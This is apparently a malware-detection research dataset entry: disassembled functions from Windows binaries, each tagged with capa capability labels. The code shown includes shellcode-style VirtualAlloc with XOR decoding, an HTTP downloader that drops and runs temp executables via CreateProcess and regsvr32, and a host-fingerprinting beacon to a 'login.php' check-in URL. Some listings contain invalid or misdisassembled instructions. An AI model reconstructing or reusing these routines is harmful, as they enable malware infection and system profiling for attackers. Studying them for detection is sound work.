joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004724
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7f0]
sub rsp, 0x8f0
mov rax, qword [0x14000f0e0]
xor rax, rsp
mov qword [rbp + 0x7e0], rax
mov rdi, rcx
mov dword [rsp + 0x50], edx
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov ebx, eax
cmp dword [0x14000f108], 0xffffffff
jne 0x14000482e
cmp byte [0x1400100da], sil
mov r9d, 0x20019
mov dword [0x14000f108], esi
mov qword [rsp + 0x60], rsi
jne 0x140004794
cmp byte [0x14000fdc4], sil
mov eax, 0x20119
cmovne r9d, eax
lea rax, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.SoftwarePoliciesMicrosoftWindowsInstaller
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000482e
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
lea rdx, str.Debug
lea rax, [rsp + 0x58]
mov dword [rsp + 0x78], 0x28
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x80]
mov dword [rsp + 0x58], 0x50
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140004811
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax]
and ecx, 3
mov dword [0x14000f108], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x78], 0x28
jle 0x14000482e
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x14000fc14], esi
je 0x140004907
cmp dword [rsp + 0x50], esi
je 0x140004907
cmp byte [0x1400100da], sil
mov eax, 0x20006
mov qword [rsp + 0x58], rsi
jne 0x140004866
cmp byte [0x14000fdc4], sil
mov ecx, 0x20106
cmovne eax, ecx
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionInstallerCA
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140004907
mov rcx, qword [rsp + 0x58]
lea r9d, [rax + 4]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.LastError
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
lea rdx, str.LastErrorMessage
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [0x1654bcab8]
xchg edx, eax
movsb byte [rdi], byte [rsi]
shr cl, cl
je 0x1400048b8
pop rbp
scasb al, byte [rdi]
frstor dword [rdx - 0xb]
jp 0x1400048d2
invalid
Function at 0x140008b25
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rax, rax
sub rcx, 0xd55f
add rax, rcx
add rax, 0xd55f
add rcx, 0xd55f
sub rsp, 0x3f0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
and rcx, 0
add rcx, rsi
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x5aa1
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x441e
lea r9, [0x140004904]
add byte [rax - 0x7d], cl
invalid
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140008be2
je 0x140008bf9
insb byte [rdi], dx
cld
add byte [rax], al
je 0x140008c03
jne 0x140008bcd
lea rax, [0x1400080f6]
add rax, 0xb32
call rax
je 0x140008b9e
push rsp
ror byte [rax - 0x39], cl
shl dword [rsi], 0x3e
add byte [rax], al
mov rcx, 0x3e26
mov r9d, 0x8d68
mov r10d, 0x92819200
lea eax, [rax]
add byte [rcx - 0x46], al
add byte [rdx - 0xb76d7f], dl
leave
dec rcx
xor byte [rax + rcx], r9b
add r9d, r10d
rol r9d, 1
test rcx, rcx
jne 0x140008c0c
add rax, 0x1ebd
mov rsp, rbp
mov rbp, qword [rsp]
add rsp, 8
ret

Function at 0x140008be0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rax, rax
sub rcx, 0xd55f
add rax, rcx
add rax, 0xd55f
add rcx, 0xd55f
sub rsp, 0x3f0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
and rcx, 0
add rcx, rsi
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x5aa1
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x441e
lea r9, [0x140004904]
add byte [rax - 0x7d], cl
invalid
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140008be2
je 0x140008bf9
insb byte [rdi], dx
cld
add byte [rax], al
je 0x140008c03
jne 0x140008bcd
lea rax, [0x1400080f6]
add rax, 0xb32
call rax
je 0x140008b9e
push rsp
ror byte [rax - 0x39], cl
shl dword [rsi], 0x3e
add byte [rax], al
mov rcx, 0x3e26
mov r9d, 0x8d68
mov r10d, 0x92819200
lea eax, [rax]
add byte [rcx - 0x46], al
add byte [rdx - 0xb76d7f], dl
leave
dec rcx
xor byte [rax + rcx], r9b
add r9d, r10d
rol r9d, 1
test rcx, rcx
jne 0x140008c0c
add rax, 0x1ebd
mov rsp, rbp
mov rbp, qword [rsp]
add rsp, 8
ret
Function at 0x1400092f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000933c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140009334
cmp dword [rcx + 0x3c], edx
jl 0x140009334
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140009334
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000933c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x180004230
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push rsi
sub rsp, 0x2d0
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov rsi, rcx
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180004388
xor edx, edx
mov qword [rsp + 0x2f0], rdi
mov r8d, 0x80
lea rcx, [rsp + 0x240]
call fcn.18000a6f0
xor edx, edx
lea rcx, [rsp + 0x1c0]
mov r8d, 0x80
call fcn.18000a6f0
mov edx, 0x80
lea rcx, [rsp + 0x240]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x240]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x180004380
mov qword [rsp + 0x2e8], rbx
xor ebx, ebx
nop
mov rcx, qword [rdi + 0x18]
mov rdx, qword [rbx + rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [rsp + 0x1c0]
or rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], 0
jne 0x1800042f0
mov edx, 0x80
mov r8, rax
sub rdx, rcx
lea rcx, [rsp + 0x1c0]
call fcn.18000d57c
mov rax, qword [rdi + 0x18]
movsx rcx, word [rdi + 0x12]
add rcx, qword [rbx + rax]
cmp rcx, qword [rdi]
jae 0x180004363
lea rcx, [rsp + 0x1c0]
or rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x180004330
mov edx, 0x80
lea r8, [0x1800239a8]
sub rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.18000d57c
add rbx, 8
cmp rbx, 0x38
jl 0x1800042d0
lea r8, [rsp + 0x1c0]
mov edx, 0x100
mov rcx, rsi
call fcn.18000d258
mov rbx, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.1800077c0
add rsp, 0x2d0
pop rsi
ret

Function at 0x1800043b0
Capabilities:
Get mac address on windows
Initialize winsock library

Disassembly:
push rbx
mov eax, 0x2e00
call fcn.180019a10
sub rsp, rax
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x2df0], rax
mov rbx, rcx
lea rdx, [rsp + 0x50]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800044b5
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x2c00
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1800044b5
lea rax, [rsp + 0x1f0]
cmp byte [rax + 0x198], 0
jne 0x180004466
cmp byte [rax + 0x199], 0
jne 0x180004466
cmp byte [rax + 0x19a], 0
jne 0x180004466
cmp byte [rax + 0x19b], 0
jne 0x180004466
cmp byte [rax + 0x19c], 0
jne 0x180004466
cmp byte [rax + 0x19d], 0
jne 0x180004466
mov rax, qword [rax]
test rax, rax
jne 0x180004417
lea rdx, str.10:00:00:00:00:01
mov rcx, rbx
call fcn.180003690
jmp 0x1800044b5
movzx ecx, byte [rax + 0x19d]
movzx edx, byte [rax + 0x19c]
movzx r10d, byte [rax + 0x19b]
movzx r11d, byte [rax + 0x19a]
movzx r9d, byte [rax + 0x199]
movzx r8d, byte [rax + 0x198]
mov dword [rsp + 0x38], ecx
mov rcx, rbx
mov dword [rsp + 0x30], edx
lea rdx, str._02X:_02X:_02X:_02X:_02X:_02X
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.180003690
mov rcx, qword [rsp + 0x2df0]
xor rcx, rsp
call fcn.1800077c0
add rsp, 0x2e00
pop rbx
ret
Function at 0x1800044d0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xc0
xor ebp, ebp
mov rdi, rdx
mov rsi, rcx
mov dword [rsp + 0x50], ebp
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rbp + 0x60]
call fcn.18000a6f0
lea ecx, [rbp + 0x18]
call fcn.1800077e4
xor edx, edx
lea r8d, [rbp + 0x68]
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.18000a6f0
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0x40
mov rcx, rsi
mov dword [rsp + 0x20], ebp
mov dword [rsp + 0x50], 0x68
mov word [rsp + 0x90], bp
mov dword [rsp + 0x8c], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea r11, [rsp + 0xc0]
test eax, eax
mov rsi, qword [r11 + 0x20]
cmovne rbp, rbx
mov rbx, qword [r11 + 0x10]
mov rax, rbp
mov rbp, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1800045b0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov ebx, r9d
mov dword [rsp + 0x20], 0xf0000000
mov rdi, r8
lea rcx, [rsp + 0x30]
mov ebp, 1
xor r8d, r8d
mov r9d, ebp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x180004600
xor al, al
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, [0x180028c40]
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov r8d, 0x94
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x1800045ee
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8003
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800045ee
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800045ee
mov r9, qword [rsp + 0x38]
xor bl, bl
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
mov rcx, qword [rsp + 0x50]
test eax, eax
movzx ebx, bl
cmovne ebx, ebp
test rcx, rcx
je 0x1800046b2
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1800046c4
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbp, qword [rsp + 0x60]
movzx eax, bl
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x180004a90
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rdi, rcx
mov rsi, r8
mov rcx, qword [rcx]
mov rbp, rdx
test rcx, rcx
je 0x180004ac1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x180004ad0
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x180004adf
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r14d, r14d
lea rcx, str.Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_
cmp byte [rdi + 0x19c], r14b
mov eax, 0x84a03300
mov ebx, 0x84200200
mov qword [rdi], r14
cmovne ebx, eax
mov qword [rdi + 8], r14
xor r9d, r9d
mov qword [rdi + 0x10], r14
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rdi], rax
test rax, rax
jne 0x180004b2a
xor eax, eax
jmp 0x180004c89
movzx r8d, word [rdi + 0x98]
lea rdx, [rdi + 0x18]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov dword [rsp + 0x30], r14d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rdi + 8], rax
test rax, rax
je 0x180004b23
mov qword [rsp + 0x38], r14
lea r8, [rdi + 0x9c]
mov dword [rsp + 0x30], ebx
lea rdx, [0x180023ac8]
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rdi + 0x10], rax
test rax, rax
je 0x180004b23
cmp byte [rdi + 0x19c], r14b
je 0x180004bc1
mov r9d, 4
mov dword [rsp + 0x40], 0x3380
lea r8, [rsp + 0x40]
mov rcx, rax
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [rdi + 0x10]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x180004b23
cmp byte [rdi + 0x19d], r14b
je 0x180004c29
or ecx, 0xffffffff
mov ebx, r14d
mov dword [rsp + 0x40], ecx
test ecx, ecx
je 0x180004c25
lea eax, [rbx + 0x1000]
cmp dword [rsi], eax
jbe 0x180004c25
mov rcx, qword [rdi + 0x10]
lea r9, [rsp + 0x40]
mov edx, ebx
mov r8d, 0x1000
add rdx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [rsp + 0x40]
add ebx, ecx
test eax, eax
jne 0x180004bf3
mov dword [rsi], ebx
jmp 0x180004c2c
mov dword [rsi], r14d
mov rcx, qword [rdi + 0x10]
lea r9, [rsp + 0x44]
xor eax, eax
mov byte [rsp + 0x48], r14b
lea r8, [rsp + 0x48]
mov qword [rsp + 0x49], rax
mov qword [rsp + 0x51], rax
mov qword [rsp + 0x59], rax
lea edx, [rax + 0x13]
mov dword [rsp + 0x61], eax
mov word [rsp + 0x65], ax
mov byte [rsp + 0x67], al
mov dword [rsp + 0x44], 0x20
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
lea rcx, [rsp + 0x48]
call fcn.18000d934
mov rcx, rdi
mov ebx, eax
call fcn.180004a40
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1800077c0
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180004cb0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movsxd rbp, edx
mov r14, rcx
xor edx, edx
lea rcx, [rsp + 0xc0]
mov r8d, 0x104
call fcn.18000a6f0
mov edx, 0x104
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rax, [rsp + 0xc0]
dec rax
nop
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x180004d10
movsd xmm0, qword [str.cmd.exe]
xor r15d, r15d
movzx ecx, byte [0x180023ad8]
xor edx, edx
movsd qword [rax], xmm0
mov byte [rax + 8], cl
lea rcx, [rsp + 0x58]
lea r8d, [r15 + 0x60]
mov dword [rsp + 0x50], r15d
call fcn.18000a6f0
lea ecx, [r15 + 0x18]
call fcn.1800077e4
xor edx, edx
lea r8d, [r15 + 0x68]
lea rcx, [rsp + 0x50]
mov rsi, rax
call fcn.18000a6f0
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rsi], rax
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [rbp + 1]
mov dword [rsp + 0x50], 0x68
movsxd rbx, eax
lea ecx, [r15 + 0x40]
mov rdx, rbx
mov word [rsp + 0x90], r15w
mov dword [rsp + 0x8c], 1
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.18000a6f0
mov r8, rbp
mov rdx, r14
mov rcx, rdi
call fcn.180009c20
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov dword [rsp + 0x28], 0x20
mov rdx, rdi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1800077c0
mov rbx, qword [rsp + 0x220]
add rsp, 0x1e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180004e40
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x760
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x750], rax
movsxd rsi, edx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x240]
mov r8d, 0x104
call fcn.18000a6f0
lea rdx, [rsp + 0x240]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.18000a6f0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
lea r8, [rsp + 0x240]
lea rdx, str._s_tmp_d.tmp
lea rcx, [rsp + 0x20]
call fcn.180003690
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [0x1800239e4]
lea rcx, [rsp + 0x20]
call fcn.18000d15c
mov rbx, rax
test rax, rax
je 0x180004fbf
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rdi
call fcn.18000d4f8
mov rcx, rbx
call fcn.18000d1ec
xor edx, edx
lea rcx, [rsp + 0x130]
mov r8d, 0x104
call fcn.18000a6f0
mov edx, 0x104
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rax, [rsp + 0x130]
dec rax
nop dword [rax]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x180004f40
mov ecx, dword [0x180023af8]
xor edx, edx
movsd xmm0, qword [str._regsvr32.exe]
mov r8d, 0x400
movsd qword [rax], xmm0
mov dword [rax + 8], ecx
movzx ecx, word [0x180023afc]
mov word [rax + 0xc], cx
lea rcx, [rsp + 0x350]
call fcn.18000a6f0
lea r8, [rsp + 0x20]
lea rdx, str.__u__s
lea rcx, [rsp + 0x350]
call fcn.180003690
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x130]
call fcn.1800044d0
test rax, rax
je 0x180004fbf
mov edx, 0x18
mov rcx, rax
call fcn.180007820
mov rcx, qword [rsp + 0x750]
xor rcx, rsp
call fcn.1800077c0
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180004ff0
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x240], rax
movsxd rsi, edx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x130]
mov r8d, 0x104
call fcn.18000a6f0
lea rdx, [rsp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.18000a6f0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
lea r8, [rsp + 0x130]
lea rdx, str._s_tmp_d.exe
lea rcx, [rsp + 0x20]
call fcn.180003690
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [0x1800239e4]
lea rcx, [rsp + 0x20]
call fcn.18000d15c
mov rbx, rax
test rax, rax
je 0x1800050d4
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rdi
call fcn.18000d4f8
mov rcx, rbx
call fcn.18000d1ec
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1800044d0
test rax, rax
je 0x1800050d4
mov edx, 0x18
mov rcx, rax
call fcn.180007820
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800077c0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180005180
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea eax, [rdx - 1]
cmp eax, 1
ja 0x1800051ab
xor eax, eax
mov r9, r8
mov qword [rsp + 0x28], rax
lea r8, [0x180005100]
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180005440
Capabilities:
Get hostname
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xb70]
sub rsp, 0xc70
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rbp + 0xb60], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0x260]
mov r8d, 0x100
call fcn.18000a6f0
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x100
call fcn.18000a6f0
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x100
call fcn.18000a6f0
lea rcx, [rbp + 0x260]
call fcn.1800043b0
lea rcx, [rbp + 0x160]
call fcn.180004230
mov edx, 0x100
lea rcx, [rbp + 0x60]
call qword [sym.imp.WS2_32.dll_gethostname]
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x800
call fcn.18000a6f0
lea rcx, [rbp + 0x360]
call fcn.1800046e0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x98
call fcn.18000a6f0
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx ecx, word [rbp + 0x14]
xor eax, eax
movzx edx, byte [rbp + 0x1a]
mov r9d, dword [rbp - 0x7c]
mov r8d, dword [rbp - 0x70]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov eax, dword [rbp - 0x74]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], ecx
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x28], edx
lea rdx, str._d__d__d__d__d__d
mov dword [rsp + 0x20], eax
call fcn.180003690
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, 0x88888889
shr edx, 6
mul edx
lea rax, [rbp + 0x360]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x60]
shr edx, 5
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x160]
mov rcx, rbx
lea r8, [rbp + 0x260]
lea rdx, str._login.php_mac_sip_shost_stick_dos_scpu_d_s
call fcn.180003690
mov rcx, qword [rbp + 0xb60]
xor rcx, rsp
call fcn.1800077c0
mov rbx, qword [rsp + 0xc88]
add rsp, 0xc70
pop rbp
ret